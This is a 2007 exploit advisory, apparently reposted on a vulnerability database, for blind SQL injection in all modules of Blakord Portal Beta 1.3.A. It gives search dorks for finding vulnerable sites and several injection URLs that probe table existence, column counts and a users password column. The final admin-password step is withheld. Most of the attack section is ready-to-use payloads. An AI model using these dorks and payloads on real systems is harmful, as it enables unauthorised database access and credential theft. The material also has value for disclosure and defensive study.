Blakord Portal <= Beta 1.3.A (all modules) SQL Injection Vulnerability

🗓️ 27 Dec 2007 00:00:00Reported by RootType

Blakord Portal Beta 1.3.A SQL Injection Vulnerability in all Module


                                                --==+===================&nbsp;Spanish&nbsp;Hackers&nbsp;Team&nbsp;(www.spanish-hackers.com)&nbsp;=================+==--
--==+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Blakord&nbsp;Portal&nbsp;&lt;=&nbsp;Beta&nbsp;1.3.A&nbsp;(all&nbsp;modules)&nbsp;Blind&nbsp;Sql&nbsp;Injection&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+==--
--==+===================================================================================+==--
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[+]&nbsp;[JosS]&nbsp;+&nbsp;[Spanish&nbsp;Hackers&nbsp;Team]&nbsp;+&nbsp;[Sys&nbsp;-&nbsp;Project]

[+]&nbsp;Info:

[~]&nbsp;Software:&nbsp;Blakord&nbsp;Portal
[~]&nbsp;HomePage:&nbsp;http://www.cdv3k.com
[~]&nbsp;Exploit:&nbsp;Blind&nbsp;Sql&nbsp;Injection&nbsp;[High]
[~]&nbsp;Where:&nbsp;All&nbsp;Modules
[~]&nbsp;Bug&nbsp;Found&nbsp;By:&nbsp;JosS
[~]&nbsp;Contact:&nbsp;sys-project[at]hotmail.com
[~]&nbsp;Web:&nbsp;http://www.spanish-hackers.com
[~]&nbsp;Dork:&nbsp;&quot;Power&nbsp;by&nbsp;Blakord&nbsp;Portal&quot;
[~]&nbsp;Dork2:&nbsp;&quot;Powered&nbsp;by&nbsp;Blakord&nbsp;Portal&quot;
[~]&nbsp;Dork3:&nbsp;&quot;Blakord&nbsp;Portal&quot;

[+]&nbsp;Compression:

[~]&nbsp;True:&nbsp;http://localhost/[path]/[any&nbsp;module]?id=1&nbsp;and&nbsp;1=1
[~]&nbsp;False:&nbsp;http://localhost/[path]/[any&nbsp;module]?id=1&nbsp;and&nbsp;1=2

[+]&nbsp;Exploding:

[*]&nbsp;Checking&nbsp;table:&nbsp;

[~]&nbsp;Exploit:&nbsp;http://localhost/[path]/[any&nbsp;module]?id=1&nbsp;AND&nbsp;(SELECT&nbsp;Count(*)&nbsp;FROM&nbsp;[TABLE])&nbsp;&gt;=&nbsp;0
[~]&nbsp;Exploit2:&nbsp;http://localhost/[path]/[any&nbsp;module]?id=1&nbsp;and&nbsp;exists&nbsp;(select&nbsp;*&nbsp;from&nbsp;[TABLE])
[~]&nbsp;Example:&nbsp;http://localhost/[path]/[any&nbsp;module]?id=1&nbsp;AND&nbsp;(SELECT&nbsp;Count(*)&nbsp;FROM&nbsp;users)&nbsp;&gt;=&nbsp;0
[~]&nbsp;Example2:&nbsp;http://localhost/[path]/[any&nbsp;module]?id=1&nbsp;and&nbsp;exists&nbsp;(select&nbsp;*&nbsp;from&nbsp;users)
[~]&nbsp;If&nbsp;you&nbsp;don't&nbsp;see&nbsp;any&nbsp;error,&nbsp;it&nbsp;is&nbsp;tha&nbsp;table&nbsp;exist.

[*]&nbsp;Checking&nbsp;columns&nbsp;number&nbsp;of&nbsp;table:

[~]&nbsp;Exploit:&nbsp;http://localhost/[path]/[any&nbsp;module]?id=1&nbsp;AND&nbsp;(SELECT&nbsp;Count(*)&nbsp;FROM&nbsp;[TABLE])&nbsp;=&nbsp;[NUMBER]
[~]&nbsp;Example:&nbsp;http://localhost/[path]/[any&nbsp;module]?id=1&nbsp;AND&nbsp;(SELECT&nbsp;Count(*)&nbsp;FROM&nbsp;users)&nbsp;=&nbsp;6
[~]&nbsp;If&nbsp;you&nbsp;don't&nbsp;see&nbsp;any&nbsp;error,&nbsp;the&nbsp;table&nbsp;has&nbsp;6&nbsp;columns.

[*]&nbsp;Checking&nbsp;columns&nbsp;of&nbsp;table:

[~]&nbsp;Exploit:&nbsp;http://localhost/[path]/[any&nbsp;module]?id=1&nbsp;AND&nbsp;(SELECT&nbsp;Count([COLUMN])&nbsp;FROM&nbsp;[TABLE])&nbsp;&gt;=&nbsp;0
[~]&nbsp;Example:&nbsp;http://localhost/[path]/[any&nbsp;module]?id=1&nbsp;AND&nbsp;(SELECT&nbsp;Count(U_PASSWORD)&nbsp;FROM&nbsp;users)&nbsp;&gt;=&nbsp;0
[~]&nbsp;If&nbsp;you&nbsp;don't&nbsp;see&nbsp;any&nbsp;error,&nbsp;the&nbsp;column&nbsp;exists.

[*]&nbsp;Admin&nbsp;Password;&nbsp;Noob&nbsp;or&nbsp;Lammer?:

[~]&nbsp;Exploit:&nbsp;Priv8
[~]&nbsp;Example:&nbsp;Priv8
[~]&nbsp;Priv8&nbsp;,&nbsp;xD.


--==+===================&nbsp;Spanish&nbsp;Hackers&nbsp;Team&nbsp;(www.spanish-hackers.com)&nbsp;=================+==--
--==+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JosS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+==--
--==+===================================================================================+==--
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[+]&nbsp;[The&nbsp;End]

27 Dec 2007 00:00Current

7.1High risk

Vulners AI Score7.1

Blakord Portal &lt;= Beta 1.3.A (all modules) SQL Injection Vulnerability

Blakord Portal <= Beta 1.3.A (all modules) SQL Injection Vulnerability